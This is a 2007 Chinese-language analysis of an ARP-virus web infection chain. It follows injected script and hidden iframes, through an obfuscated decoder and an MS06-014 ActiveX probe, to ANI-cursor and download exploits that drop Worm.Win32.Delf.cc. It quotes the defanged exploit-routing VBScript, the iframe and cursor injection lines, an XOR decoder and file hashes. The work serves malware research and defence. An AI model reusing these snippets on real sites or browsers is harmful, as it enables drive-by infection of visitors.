ARP病毒自动添加的网址利用ms07004EXP和MS0614EXP传播Worm.Win32.Delf.cc等

endurer 原创
2007-05-24 第1版

ARP病毒自动加入的网址为：
/---
＜script language＝javascript src＝hxxp:／／google**.17***173**8.org／ad***.js＞＜／script＞
---/

ad***.js 包含代码：
/---
document.write（'＜iframe width＝0 height＝0 src＝"hxxp:／／google**.17***173**8.org／p*d***.htm"＞＜／iframe＞'）;
---/

p*d***.htm 首先引入文件jscode.js，其内容是使用eval（）执行自定义函数，从而产生自定义函数utf8to16（）、xxtea_decrypt（）、base64DecodeChars（），用于解密并输出变量t的值。

t 的值解密后为VBScript脚本：
/---
＜script language＝VBScript＞
on error resume next
Set downf ＝ document.createElement（"object"）
downf.setAttribute "classid", "clsid:BD9"＆"6C556－6"＆"5A3－11D"＆"0－983A－00C"＆"04FC2"＆"9E36"
str＝"Microsoft.XMLHTTP"
Set O ＝ downf.CreateObject（str,""）
if Not Err.Number ＝ 0 then
err.clear
'msgbox "没有0614漏洞,页面转到ms07004EXP!"
document.write（"＜iframe width＝""0"" height＝""0"" src＝""ms07017.htm""＞＜／iframe＞"）
else
'msgbox "存在0614漏洞,页面转到MS0614的EXP!"
document.write（"＜iframe width＝""0"" height＝""0"" src＝""06014.htm""＞＜／iframe＞"）
end if
＜／script＞
---/

ms07017.htm 与 p*d***.htm 相似，首先引入文件jscode.js，其内容是使用eval（）执行自定义函数，从而产生自定义函数utf8to16（）、xxtea_decrypt（）、base64DecodeChars（），用于解密并输出变量t的值。

解密后的t值为JavaScript脚本，功能是如果cookie变量“MTV”不存在，则创建，并输出sscape（）编码的代码：
/---
＜script src＝"ani.js"＞＜／script＞
---/

ani.js的内容为JavaScript脚本，包含代码：
/---
document.writeln（“＜DIV style＝/“CURSOR: url（hxxp:/／/／google**.17***173**8.org/／ani.jpg）/”＞＜/／DIV＞＜/／DIV＞＜/／BODY＞＜/／HTML＞”）;
---/

ani.jpg利用 ANI漏洞下载 update.exe

文件说明符 : D:/test/update.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-5-23 12:13:25
修改时间 : 2007-5-23 12:13:26
访问时间 : 2007-5-23 0:0:0
大小 : 36435 字节 35.595 KB
MD5 : e32966b40d3e655f1912b2cd6930b24b

Kaspersky 报为 Worm.Win32.Delf.cc，瑞星报为 Trojan.Mnless.lxp

06014.htm包含javascript代码，功能是使用自定义函数utf8to16（）、xxtea_decrypt（）、base64DecodeChars（），用于解密并输出变量t的值。

t 的值解密后为VBScript脚本，功能是利用 Adodb.Stream、Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载rss.dll，保存为%windir%/WinHttp.dll，下载update.exe，保存为%windir%/KB726255.log，

创建WScript.Shell，在注册表HKLM/SOFTWARE/Classes/CLSID/{36CD708B－6077－4C02－9377－D73EAA495A0F}下创建键HTTP Execute Hooks和一些值。

其中部分代码需要使用自定义函数
/---
Function NC（x）
For i＝1 to Len（x） Step 2
NC＝NC ＆ Chr（CLng（"＆H" ＆ Mid（x,i,2）） Xor 23）
Next
End Function
---/

来解密。

文件说明符 : D:/test/rss.dll
属性 : A---
语言 : 中文（中国）
文件版本 : 6.00
说明 : Windows HTTPMon Dll
版权 : （C） Microsoft Corporation. All rights reserved.
备注 :
产品版本 : 6.00
产品名称 : Microsoft（R） Windows（R） Operating System
公司名称 : Microsoft Corporation
合法商标 :
内部名称 : WINHTTP
源文件名 : WINHTTP.DLL
创建时间 : 2007-5-24 13:57:51
修改时间 : 2007-5-24 13:57:54
访问时间 : 2007-5-24 0:0:0
大小 : 5120 字节 5.0 KB
MD5 : 5164bccd2a40d9ac9bf83453c171c720